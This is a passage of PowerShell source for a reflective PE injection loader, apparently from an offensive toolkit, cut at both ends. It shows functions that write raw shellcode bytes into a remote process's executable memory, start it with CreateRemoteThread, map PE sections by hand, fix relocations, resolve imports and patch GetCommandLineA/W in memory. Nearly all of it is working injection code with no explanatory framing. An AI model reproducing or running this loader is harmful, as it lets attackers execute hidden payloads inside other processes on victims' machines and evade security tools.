$LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if ($Result -eq $false) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } else { [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [Int32]$ExitCode = 0 $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) if (($Result -eq 0) -or ($ExitCode -eq 0)) { Throw "Call to GetExitCodeThread failed" } [IntPtr]$DllAddress = [IntPtr]$ExitCode } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null return $DllAddress } Function Get-RemoteProcAddress { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $RemoteDllHandle, [Parameter(Position=2, Mandatory=$true)] [IntPtr] $FunctionNamePtr, [Parameter(Position=3, Mandatory=$true)] [Bool] $LoadByOrdinal ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) [IntPtr]$RFuncNamePtr = [IntPtr]::Zero if (-not $LoadByOrdinal) { $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RFuncNamePtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($FunctionNameSize -ne $NumBytesWritten) { Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" } } else { $RFuncNamePtr = $FunctionNamePtr } $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($GetProcAddressRetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" } [Byte[]]$GetProcAddressSC = @() if ($PEInfo.PE64Bit -eq $true) { $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $GetProcAddressSC2 = @(0x48, 0xba) $GetProcAddressSC3 = @(0x48, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) $GetProcAddressSC2 = @(0xb9) $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) { Throw "Call to ReadProcessMemory failed" } [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null if (-not $LoadByOrdinal) { $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } return $ProcAddress } Function Copy-Sections { Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) $SizeOfRawData = $SectionHeader.SizeOfRawData if ($SectionHeader.PointerToRawData -eq 0) { $SizeOfRawData = 0 } if ($SizeOfRawData -gt $SectionHeader.VirtualSize) { $SizeOfRawData = $SectionHeader.VirtualSize } if ($SizeOfRawData -gt 0) { Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) } if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) { $Difference = $SectionHeader.VirtualSize - $SizeOfRawData [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null } } } Function Update-MemoryAddresses { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [Int64] $OriginalImageBase, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) [Int64]$BaseDifference = 0 $AddDifference = $true [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) { return } elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) $AddDifference = $false } elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) { $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) } [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) while($true) { $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) if ($BaseRelocationTable.SizeOfBlock -eq 0) { break } [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 for($i = 0; $i -lt $NumRelocations; $i++) { $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF [UInt16]$RelocType = $RelocationInfo -band 0xF000 for ($j = 0; $j -lt 12; $j++) { $RelocType = [Math]::Floor($RelocType / 2) } if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) { [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) if ($AddDifference -eq $true) { [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } else { [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) } [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null } elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) { Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" } } $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) } } Function Import-DllImports { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 4, Mandatory = $false)] [IntPtr] $RemoteProcHandle ) $RemoteLoading = $false if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) { $RemoteLoading = $true } if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose "Done importing DLL imports" break } $ImportDllHandle = [IntPtr]::Zero $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) if ($RemoteLoading -eq $true) { $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr } else { $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) } if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) { throw "Error importing DLL, DLLName: $ImportDllPath" } [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) while ($OriginalThunkRefVal -ne [IntPtr]::Zero) { $LoadByOrdinal = $false [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero [IntPtr]$NewThunkRef = [IntPtr]::Zero if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) { [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff $LoadByOrdinal = $true } elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) { [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff $LoadByOrdinal = $true } else { [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) } if ($RemoteLoading -eq $true) { [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal } else { [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) } if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) { if ($LoadByOrdinal) { Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" } else { Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" } } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) { [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) $ProcedureNamePtr = [IntPtr]::Zero } } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } } Function Get-VirtualProtectValue { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt32] $SectionCharacteristics ) $ProtectionFlag = 0x0 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE } else { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY } else { $ProtectionFlag = $Win32Constants.PAGE_EXECUTE } } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_READWRITE } else { $ProtectionFlag = $Win32Constants.PAGE_READONLY } } else { if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) { $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY } else { $ProtectionFlag = $Win32Constants.PAGE_NOACCESS } } } if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) { $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE } return $ProtectionFlag } Function Update-MemoryProtectionFlags { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics [UInt32]$SectionSize = $SectionHeader.VirtualSize [UInt32]$OldProtectFlag = 0 Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Unable to change memory protection" } } } Function Update-ExeFunctions { Param( [Parameter(Position = 0, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants, [Parameter(Position = 3, Mandatory = $true)] [String] $ExeArguments, [Parameter(Position = 4, Mandatory = $true)] [IntPtr] $ExeDoneBytePtr ) $ReturnArray = @() $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) [UInt32]$OldProtectFlag = 0 [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") if ($Kernel32Handle -eq [IntPtr]::Zero) { throw "Kernel32 handle null" } [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") if ($KernelBaseHandle -eq [IntPtr]::Zero) { throw "KernelBase handle null" } $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) { throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" } [Byte[]]$Shellcode1 = @() if ($PtrSize -eq 8) { $Shellcode1 += 0x48 } $Shellcode1 += 0xb8 [Byte[]]$Shellcode2 = @(0xc3) $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) [UInt32]$OldProtectFlag = 0 $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } $GetCommandLineAAddrTemp = $GetCommandLineAAddr Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null [UInt32]$OldProtectFlag = 0 $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } $GetCommandLineWAddrTemp = $GetCommandLineWAddr Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") foreach ($Dll in $DllList) { [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) if ($DllHandle -ne [IntPtr]::Zero) { 